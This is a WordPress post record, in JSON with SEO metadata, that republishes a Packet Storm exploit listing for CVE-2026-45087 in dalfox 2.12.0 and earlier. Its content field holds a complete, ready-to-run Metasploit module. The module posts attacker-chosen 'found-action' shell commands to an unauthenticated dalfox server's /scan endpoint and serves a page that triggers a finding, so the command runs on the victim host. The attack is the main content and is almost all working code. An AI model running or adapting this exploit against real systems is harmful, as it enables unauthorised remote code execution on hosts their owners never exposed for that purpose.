{"id":65899,"date":"2026-06-25T13:47:00","date_gmt":"2026-06-25T13:47:00","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=65899"},"modified":"2026-06-25T13:47:00","modified_gmt":"2026-06-25T13:47:00","slug":"dalfox-found-action-deserialization-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=65899","title":{"rendered":"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-25T17:39:56&#8243;,&#8221;description&#8221;:&#8221;When dalfox versions less than or equal to 2.12.0 is started in REST API server mode dalfox server, the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes &#8211;api-key. Because model.Options &#8211; including&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-25T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-25T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:224334&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-45087&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::Remote::HttpServer\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Dalfox Found-Action Deserialization RCE&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              When dalfox version \\u003c= 2.12.0 is started in REST API server mode (dalfox server),\\n              the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes &#8211;api-key.\\n              Because model.Options &#8211; including FoundAction and FoundActionShell &#8211; is deserialized directly from attacker-supplied JSON in POST \/scan,\\n              and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them,\\n              any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.\\n            },\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Emmanuel David&#8217;,   # Vulnerability discovery and PoC\\n              &#8216;Takahiro Yokoyama&#8217; # Metasploit module\\n            ],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-45087&#8217;],\\n              [&#8216;GHSA&#8217;, &#8216;v25v-m36w-jp4h&#8217;],\\n            ],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Linux Command&#8217;, {\\n                  &#8216;Arch&#8217; =\\u003e [ ARCH_CMD ], &#8216;Platform&#8217; =\\u003e [ &#8216;unix&#8217;, &#8216;linux&#8217; ], &#8216;Type&#8217; =\\u003e :nix_cmd\\n                }\\n              ],\\n            ],\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;FETCH_DELETE&#8217; =\\u003e true,\\n              &#8216;SRVPORT&#8217; =\\u003e 8081,\\n              &#8216;RPORT&#8217; =\\u003e 6664\\n            },\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Payload&#8217; =\\u003e {\\n              &#8216;BadChars&#8217; =\\u003e &#8216;\\&#8221;&#8216;\\n            },\\n            &#8216;Stance&#8217; =\\u003e Msf::Exploit::Stance::Aggressive,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-05-07&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [ CRASH_SAFE, ],\\n              &#8216;SideEffects&#8217; =\\u003e [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\\n              &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION, ]\\n            }\\n          )\\n        )\\n    \\n        register_advanced_options([\\n          OptInt.new(&#8216;HTTPDELAY&#8217;, [false, &#8216;Number of seconds the web server will wait before termination&#8217;, 10])\\n        ])\\n      end\\n    \\n      def check\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;swagger\/index.html&#8217;)\\n        })\\n        return Exploit::CheckCode::Unknown(&#8216;Could not detect the dalfox.&#8217;) unless res\\u0026.code == 200\\n    \\n        Exploit::CheckCode::Appears(&#8216;Dalfox detected.&#8217;)\\n      end\\n    \\n      def on_request_uri(cli, request)\\n        send_response(cli, \\&#8221;\\u003chtml\\u003e\\u003cbody\\u003e#{request.resource}\\u003c\/body\\u003e\\u003c\/html\\u003e\\&#8221;)\\n      end\\n    \\n      def primer\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;scan&#8217;),\\n          &#8216;headers&#8217; =\\u003e { &#8216;Content-Type&#8217; =\\u003e &#8216;application\/json&#8217; },\\n          &#8216;data&#8217; =\\u003e {\\n            &#8216;url&#8217; =\\u003e get_uri,\\n            &#8216;options&#8217; =\\u003e {\\n              &#8216;found-action&#8217; =\\u003e payload.encode,\\n              &#8216;found-action-shell&#8217; =\\u003e &#8216;bash&#8217;,\\n              &#8216;use-headless&#8217; =\\u003e false,\\n              &#8216;worker&#8217; =\\u003e 1,\\n              &#8216;limit-result&#8217; =\\u003e 1\\n            }\\n          }.to_json\\n        })\\n        fail_with(Failure::Unknown, &#8216;Unexpected server reply.&#8217;) unless res\\u0026.code == 200\\n      end\\n    \\n      def exploit\\n        Timeout.timeout(datastore[&#8216;HTTPDELAY&#8217;]) { super }\\n      rescue Timeout::Error\\n        # When the server stops due to our timeout, this is raised\\n      end\\n    \\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/224334&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/224334\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-25T17:39:56&#8243;,&#8221;description&#8221;:&#8221;When dalfox versions less than or equal to 2.12.0 is started in REST API server mode dalfox server, the server binds to 0.0.0.0:6664 by default&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-65899","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=65899\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-25T17:39:56&#8243;,&#8221;description&#8221;:&#8221;When dalfox versions less than or equal to 2.12.0 is started in REST API server mode dalfox server, the server binds to 0.0.0.0:6664 by default...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=65899\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-25T13:47:00+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334\",\"datePublished\":\"2026-06-25T13:47:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899\"},\"wordCount\":704,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65899#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899\",\"name\":\"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-25T13:47:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65899\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65899#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=65899","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-25T17:39:56&#8243;,&#8221;description&#8221;:&#8221;When dalfox versions less than or equal to 2.12.0 is started in REST API server mode dalfox server, the server binds to 0.0.0.0:6664 by default...","og_url":"https:\/\/zero.redgem.net\/?p=65899","og_site_name":"zero redgem","article_published_time":"2026-06-25T13:47:00+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=65899#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=65899"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334","datePublished":"2026-06-25T13:47:00+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=65899"},"wordCount":704,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=65899#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=65899","url":"https:\/\/zero.redgem.net\/?p=65899","name":"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-25T13:47:00+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=65899#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=65899"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=65899#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65899","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65899"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65899\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65899"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65899"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65899"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}